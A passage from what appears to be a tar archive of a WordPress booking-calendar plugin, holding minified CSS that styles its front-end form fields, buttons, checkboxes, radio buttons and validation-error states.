ZVxyXG59Il19 */ wpbc_fe__form_fields.css 0000666 00000101254 15165311506 0011405 0 ustar 00 :root { --wpbc_form-field-border-radius: 3px; --wpbc_form-field-border-style: solid; --wpbc_form-field-border-size: 1px; --wpbc_form-field-background-color: #ffffff; --wpbc_form-field-border-color: rgba(0, 0, 0, 0.25); --wpbc_form-field-border-color-spare: rgba(0, 0, 0, 0.25); --wpbc_form-field-text-color: rgba(0, 0, 0, 0.7); --wpbc_form-field-disabled-color: rgba(0, 0, 0, 0.2); --wpbc_form-select-bg-img: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"); --wpbc_form-field-menu-color: #ffffff; --wpbc_form-label-color: rgba(0, 0, 0, 0.85); --wpbc_form-label-sublabel-color: rgba(0, 0, 0, 0.55); --wpbc_form-label-error-color: #d63637; --wpbc_form-button-border-radius: 3px; --wpbc_form-button-border-style: none; --wpbc_form-button-border-size: 1px; --wpbc_form-button-background-color: #066aab; --wpbc_form-button-background-color-alt: #066aab; --wpbc_form-button-border-color: #066aab; --wpbc_form-button-text-color: #ffffff; --wpbc_form-button-text-color-alt: #fff; --wpbc_form-page-break-color: #066aab; --wpbc_form-background-image: none; --wpbc_form-background-position: center center; --wpbc_form-background-repeat: no-repeat; --wpbc_form-background-size: cover; --wpbc_form-background-width: 100px; --wpbc_form-background-height: 100px; --wpbc_form-background-color: rgba(0, 0, 0, 0); --wpbc_form-background-url: none; --wpbc_form-container-padding: 0px; --wpbc_form-container-border-style: none; --wpbc_form-container-border-width: 1px; --wpbc_form-container-border-color: #000000; --wpbc_form-container-border-radius: 3px; --wpbc_form-field-size-input-height: 43px; --wpbc_form-field-size-input-spacing: 15px; --wpbc_form-field-size-font-size: 16px; --wpbc_form-field-size-line-height: 19px; --wpbc_form-field-size-padding-h: 14px; --wpbc_form-field-size-checkbox-size: 16px; --wpbc_form-field-size-sublabel-spacing: 5px; --wpbc_form-field-size-icon-size: 1; --wpbc_form-label-size-font-size: 16px; --wpbc_form-label-size-line-height: 19px; --wpbc_form-label-size-sublabel-font-size: 14px; --wpbc_form-label-size-sublabel-line-height: 17px; --wpbc_form-button-size-font-size: 17px; --wpbc_form-button-size-height: 41px; --wpbc_form-button-size-padding-h: 15px; --wpbc_form-button-size-margin-top: 10px; --wpbc_form-container-shadow-size-box-shadow: none; --wpbc_form-marging-between-several-checkbox-radio: 30px; --wpbc_form-padding-between-label-checkbox-radio: 8px } div.wpbc_container.wpbc_form button, div.wpbc_container.wpbc_form input, div.wpbc_container.wpbc_form label, div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form textarea { margin: 0; border: 0; padding: 0; vertical-align: middle; background: 0 0; height: auto; box-sizing: border-box } .wp-core-ui div.wpbc_container.wpbc_form input[type=date], .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local], .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime], .wp-core-ui div.wpbc_container.wpbc_form input[type=email], .wp-core-ui div.wpbc_container.wpbc_form input[type=month], .wp-core-ui div.wpbc_container.wpbc_form input[type=number], .wp-core-ui div.wpbc_container.wpbc_form input[type=password], .wp-core-ui div.wpbc_container.wpbc_form input[type=range], .wp-core-ui div.wpbc_container.wpbc_form input[type=search], .wp-core-ui div.wpbc_container.wpbc_form input[type=tel], .wp-core-ui div.wpbc_container.wpbc_form input[type=text], .wp-core-ui div.wpbc_container.wpbc_form input[type=time], .wp-core-ui div.wpbc_container.wpbc_form input[type=url], .wp-core-ui div.wpbc_container.wpbc_form input[type=week], .wp-core-ui div.wpbc_container.wpbc_form select, .wp-core-ui div.wpbc_container.wpbc_form textarea, div.wpbc_container.wpbc_form input[type=date], div.wpbc_container.wpbc_form input[type=datetime-local], div.wpbc_container.wpbc_form input[type=datetime], div.wpbc_container.wpbc_form input[type=email], div.wpbc_container.wpbc_form input[type=month], div.wpbc_container.wpbc_form input[type=number], div.wpbc_container.wpbc_form input[type=password], div.wpbc_container.wpbc_form input[type=range], div.wpbc_container.wpbc_form input[type=search], div.wpbc_container.wpbc_form input[type=tel], div.wpbc_container.wpbc_form input[type=text], div.wpbc_container.wpbc_form input[type=time], div.wpbc_container.wpbc_form input[type=url], div.wpbc_container.wpbc_form input[type=week], div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form textarea { background-color: var(--wpbc_form-field-background-color); background-clip: padding-box; border-radius: var(--wpbc_form-field-border-radius); color: var(--wpbc_form-field-text-color); border-width: var(--wpbc_form-field-border-size); border-style: var(--wpbc_form-field-border-style); border-color: var(--wpbc_form-field-border-color); padding: 0 var(--wpbc_form-field-size-padding-h); font-size: var(--wpbc_form-field-size-font-size); line-height: 100%; box-shadow: none; transition: border .15s,box-shadow .15s } .wp-core-ui div.wpbc_container.wpbc_form input[type=date]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]:focus, .wp-core-ui div.wpbc_container.wpbc_form select:focus, .wp-core-ui div.wpbc_container.wpbc_form textarea:focus, div.wpbc_container.wpbc_form input[type=date]:focus, div.wpbc_container.wpbc_form input[type=datetime-local]:focus, div.wpbc_container.wpbc_form input[type=datetime]:focus, div.wpbc_container.wpbc_form input[type=email]:focus, div.wpbc_container.wpbc_form input[type=month]:focus, div.wpbc_container.wpbc_form input[type=number]:focus, div.wpbc_container.wpbc_form input[type=password]:focus, div.wpbc_container.wpbc_form input[type=range]:focus, div.wpbc_container.wpbc_form input[type=search]:focus, div.wpbc_container.wpbc_form input[type=tel]:focus, div.wpbc_container.wpbc_form input[type=text]:focus, div.wpbc_container.wpbc_form input[type=time]:focus, div.wpbc_container.wpbc_form input[type=url]:focus, div.wpbc_container.wpbc_form input[type=week]:focus, div.wpbc_container.wpbc_form select:focus, div.wpbc_container.wpbc_form textarea:focus { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15); outline: 0 } .wp-core-ui div.wpbc_container.wpbc_form input[type=date]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form select:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form textarea:focus:invalid, div.wpbc_container.wpbc_form input[type=date]:focus:invalid, div.wpbc_container.wpbc_form input[type=datetime-local]:focus:invalid, div.wpbc_container.wpbc_form input[type=datetime]:focus:invalid, div.wpbc_container.wpbc_form input[type=email]:focus:invalid, div.wpbc_container.wpbc_form input[type=month]:focus:invalid, div.wpbc_container.wpbc_form input[type=number]:focus:invalid, div.wpbc_container.wpbc_form input[type=password]:focus:invalid, div.wpbc_container.wpbc_form input[type=range]:focus:invalid, div.wpbc_container.wpbc_form input[type=search]:focus:invalid, div.wpbc_container.wpbc_form input[type=tel]:focus:invalid, div.wpbc_container.wpbc_form input[type=text]:focus:invalid, div.wpbc_container.wpbc_form input[type=time]:focus:invalid, div.wpbc_container.wpbc_form input[type=url]:focus:invalid, div.wpbc_container.wpbc_form input[type=week]:focus:invalid, div.wpbc_container.wpbc_form select:focus:invalid, div.wpbc_container.wpbc_form textarea:focus:invalid { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15); outline: 0; color: var(--wpbc_form-field-text-color) } .wp-core-ui div.wpbc_container.wpbc_form input[type=date]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form select::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form textarea::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=date]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=datetime-local]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=datetime]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=email]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=month]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=number]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=password]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=range]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=search]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=tel]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=text]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=time]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=url]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=week]::-webkit-input-placeholder, div.wpbc_container.wpbc_form select::-webkit-input-placeholder, div.wpbc_container.wpbc_form textarea::-webkit-input-placeholder { color: var(--wpbc_form-field-text-color); opacity: .5; pointer-events: none } .wp-core-ui div.wpbc_container.wpbc_form input[type=date]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form select::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form textarea::-moz-placeholder, div.wpbc_container.wpbc_form input[type=date]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime-local]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=email]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=month]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=number]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=password]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=range]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=search]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=tel]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=text]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=time]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=url]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=week]::-moz-placeholder, div.wpbc_container.wpbc_form select::-moz-placeholder, div.wpbc_container.wpbc_form textarea::-moz-placeholder { color: var(--wpbc_form-field-text-color); opacity: .5; pointer-events: none } .wp-core-ui div.wpbc_container.wpbc_form input[type=date]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form select:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form textarea:-moz-placeholder, div.wpbc_container.wpbc_form input[type=date]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime-local]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=email]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=month]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=number]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=password]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=range]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=search]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=tel]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=text]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=time]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=url]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=week]:-moz-placeholder, div.wpbc_container.wpbc_form select:-moz-placeholder, div.wpbc_container.wpbc_form textarea:-moz-placeholder { color: var(--wpbc_form-field-text-color); opacity: .5; pointer-events: none } .wp-core-ui div.wpbc_container.wpbc_form textarea, div.wpbc_container.wpbc_form textarea { width: 100%; line-height: 1.3; min-height: var(--wpbc_form-field-size-input-height); padding: var(--wpbc_form-field-size-padding-h); resize: vertical } .wp-core-ui div.wpbc_container.wpbc_form input, .wp-core-ui div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form input, div.wpbc_container.wpbc_form select { height: var(--wpbc_form-field-size-input-height) } .wp-core-ui div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form select { appearance: none; display: block; max-width: 100%; width: 100%; text-transform: none; text-shadow: none; white-space: nowrap; line-height: unset; padding-block: 0; padding-inline-end: 24px; padding-inline-start: 12px; min-height: var(--wpbc_form-field-size-input-height); vertical-align: middle; cursor: pointer } .wp-core-ui div.wpbc_container.wpbc_form select, .wp-core-ui div.wpbc_container.wpbc_form select:disabled, div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form select:disabled { background-image: var(--wpbc_form-select-bg-img),none; background-repeat: no-repeat; background-position: calc(100% - 11px) 50%,calc(100% - 12px) 50%; background-size: 16px 12px } .rtl .wp-core-ui div.wpbc_container.wpbc_form select, .rtl .wp-core-ui div.wpbc_container.wpbc_form select:disabled, .rtl div.wpbc_container.wpbc_form select, .rtl div.wpbc_container.wpbc_form select:disabled { background-position: 12px 50%,17px 50% } .wp-core-ui div.wpbc_container.wpbc_form select > option, div.wpbc_container.wpbc_form select > option { color: var(--wpbc_form-field-text-color) } .wp-core-ui div.wpbc_container.wpbc_form select > option.placeholder, .wp-core-ui div.wpbc_container.wpbc_form select > option[disabled], div.wpbc_container.wpbc_form select > option.placeholder, div.wpbc_container.wpbc_form select > option[disabled] { color: var(--wpbc_form-field-disabled-color); opacity: .5 } .wp-core-ui div.wpbc_container.wpbc_form select:not([multiple]) > option, div.wpbc_container.wpbc_form select:not([multiple]) > option { background: var(--wpbc_form-field-menu-color) } .wp-core-ui div.wpbc_container.wpbc_form select:not([multiple]) > option:not(.placeholder):checked, div.wpbc_container.wpbc_form select:not([multiple]) > option:not(.placeholder):checked { font-weight: 700 } .wp-core-ui div.wpbc_container.wpbc_form select[multiple], div.wpbc_container.wpbc_form select[multiple] { height: auto; overflow-y: scroll; background-image: none } .wp-core-ui div.wpbc_container.wpbc_form select[multiple] > option:not(.placeholder):checked, div.wpbc_container.wpbc_form select[multiple] > option:not(.placeholder):checked { background: var(--wpbc_form-button-background-color); color: var(--wpbc_form-button-text-color-alt,var(--wpbc_form-button-text-color)) } .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:read-only, div.wpbc_container.wpbc_form input[type=number]:read-only { appearance: textfield; -moz-appearance: textfield; -webkit-appearance: textfield } .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:read-only::-webkit-inner-spin-button, div.wpbc_container.wpbc_form input[type=number]:read-only::-webkit-inner-spin-button { visibility: hidden } .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light), .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light), div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light), div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light) { height: var(--wpbc_form-button-size-height); background-color: var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color)); border-radius: var(--wpbc_form-button-border-radius); border-style: var(--wpbc_form-button-border-style); border-color: var(--wpbc_form-button-border-color); border-width: var(--wpbc_form-button-border-size); box-shadow: none; color: var(--wpbc_form-button-text-color); padding: 0 var(--wpbc_form-button-size-padding-h); font-family: inherit; font-weight: 500; font-size: var(--wpbc_form-button-size-font-size); line-height: 100%; cursor: pointer; transition: .15s ease-in-out; position: relative; text-decoration: none } .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):not(:hover):not(:active), .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):not(:hover):not(:active), div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):not(:hover):not(:active), div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):not(:hover):not(:active) { background-color: var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color)); color: var(--wpbc_form-button-text-color) } .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):active, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):hover, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):active, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):hover, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):active, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):hover, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):active, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):hover { background: linear-gradient(0deg,rgba(0,0,0,.2),rgba(0,0,0,.2)),var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color)) } .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus { outline: 0 } .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus:after, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus:after, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):focus:after, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):focus:after { content: ""; position: absolute; border: 2px solid var(--wpbc_form-button-background-color); border-radius: calc(var(--wpbc_form-button-border-radius) + 2px); top: calc(-4px - var(--wpbc_form-button-border-size,1px)); right: calc(-4px - var(--wpbc_form-button-border-size,1px)); bottom: calc(-4px - var(--wpbc_form-button-border-size,1px)); left: calc(-4px - var(--wpbc_form-button-border-size,1px)) } .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled:hover, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled:hover, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light):disabled:hover, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light):disabled:hover { background-color: var(--wpbc_form-button-background-color-alt,var(--wpbc_form-button-background-color)); cursor: default } div.wpbc_container.wpbc_form input[type=checkbox], div.wpbc_container.wpbc_form input[type=radio] { position: relative; display: inline-block; background: 0 0; height: calc(var(--wpbc_form-field-size-checkbox-size) - 2px + calc(var(--wpbc_form-field-border-size,1px) * 2)); width: calc(var(--wpbc_form-field-size-checkbox-size) - 2px + calc(var(--wpbc_form-field-border-size,1px) * 2)); margin: 0 0 0 2px; border: none; box-shadow: none; vertical-align: middle; opacity: 1; appearance: none } div.wpbc_container.wpbc_form input[type=checkbox]:after, div.wpbc_container.wpbc_form input[type=checkbox]:before, div.wpbc_container.wpbc_form input[type=radio]:after, div.wpbc_container.wpbc_form input[type=radio]:before { content: ''; position: absolute; left: -2px; top: 0; width: var(--wpbc_form-field-size-checkbox-size); height: var(--wpbc_form-field-size-checkbox-size); box-sizing: content-box; cursor: pointer } div.wpbc_container.wpbc_form input[type=checkbox]:before, div.wpbc_container.wpbc_form input[type=radio]:before { border-width: var(--wpbc_form-field-border-size); border-style: var(--wpbc_form-field-border-style); border-color: var(--wpbc_form-field-border-color); background-color: var(--wpbc_form-field-background-color); background-clip: padding-box; background-image: none; border-radius: 3px } div.wpbc_container.wpbc_form .wpdev-list-item > input[type=checkbox] + .wpdev-list-item-label, div.wpbc_container.wpbc_form .wpdev-list-item > input[type=radio] + .wpdev-list-item-label, div.wpbc_container.wpbc_form input[type=checkbox] + label, div.wpbc_container.wpbc_form input[type=radio] + label { display: inline; position: relative; padding-inline-start: var(--wpbc_form-padding-between-label-checkbox-radio); font-size: var(--wpbc_form-label-size-font-size); vertical-align: middle } div.wpbc_container.wpbc_form input[type=checkbox] + label, div.wpbc_container.wpbc_form input[type=radio] + label { cursor: pointer } div.wpbc_container.wpbc_form .wpdev-list-item > .wpdev-list-item-label:first-child { display: inline; position: relative; padding-inline-end: var(--wpbc_form-padding-between-label-checkbox-radio); font-size: var(--wpbc_form-label-size-font-size); vertical-align: middle } div.wpbc_container.wpbc_form .wpdev-list-item > label.wpdev-list-item-label:first-child { cursor: pointer } div.wpbc_container.wpbc_form .wpdev-list-item > .wpdev-list-item-label > input[type=checkbox], div.wpbc_container.wpbc_form .wpdev-list-item > .wpdev-list-item-label > input[type=radio] { margin-left: var(--wpbc_form-padding-between-label-checkbox-radio); margin-right: var(--wpbc_form-padding-between-label-checkbox-radio) } div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item, div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item { margin-right: var(--wpbc_form-marging-between-several-checkbox-radio) } div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item:last-child, div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item:last-child { margin-right: 0 } .rtl div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item, .rtl div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item { margin-left: var(--wpbc_form-marging-between-several-checkbox-radio) } .rtl div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item:first-child, .rtl div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item:first-child { margin-left: 0 } div.wpbc_container.wpbc_form input[type=checkbox]:checked:before, div.wpbc_container.wpbc_form input[type=radio]:checked:before { margin: 0; border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15); outline: 0 } div.wpbc_container.wpbc_form input[type=checkbox]:focus, div.wpbc_container.wpbc_form input[type=radio]:focus { outline: 0 } div.wpbc_container.wpbc_form input[type=checkbox]:focus:before, div.wpbc_container.wpbc_form input[type=radio]:focus:before { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color),0 1px 2px rgba(0,0,0,.15); outline: 0 } div.wpbc_container.wpbc_form input[type=checkbox]:checked:after { border-top: none; border-right: none; height: calc(var(--wpbc_form-field-size-checkbox-size) * .6); border-left: 4px solid var(--wpbc_form-button-background-color); border-bottom: 4px solid var(--wpbc_form-button-background-color); background-color: transparent; -ms-transform: translate(0,1px) scale(.5) rotate(-45deg); transform: translate(0,1px) scale(.5) rotate(-45deg); left: calc(-4px + var(--wpbc_form-field-border-size,1px)); top: calc(-1px + var(--wpbc_form-field-border-size,1px)) } div.wpbc_container.wpbc_form input[type=radio], div.wpbc_container.wpbc_form input[type=radio]:before { border-radius: 50% } div.wpbc_container.wpbc_form input[type=radio]:checked:after { border: 1px solid transparent; border-radius: 50%; background-color: var(--wpbc_form-button-background-color); -ms-transform: scale(.5); transform: scale(.5); -moz-transform: scale(.47); left: calc(-3px + var(--wpbc_form-field-border-size,1px)); top: calc(-1px + var(--wpbc_form-field-border-size,1px)) } div.wpbc_container.wpbc_form.wpbc_container_booking_form label.wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form span.wpbc_form_field_error { font-weight: 400; font-size: var(--wpbc_form-label-size-sublabel-font-size); line-height: var(--wpbc_form-label-size-sublabel-line-height); margin-top: var(--wpbc_form-field-size-input-spacing); color: var(--wpbc_form-label-error-color); padding: 0 0 0 5px; position: relative } div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-label-error-color) } div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error:hover { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-label-error-color); box-shadow: 0 0 2px 0 var(--wpbc_form-label-error-color) } div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error:focus { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-label-error-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-label-error-color) } div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error, 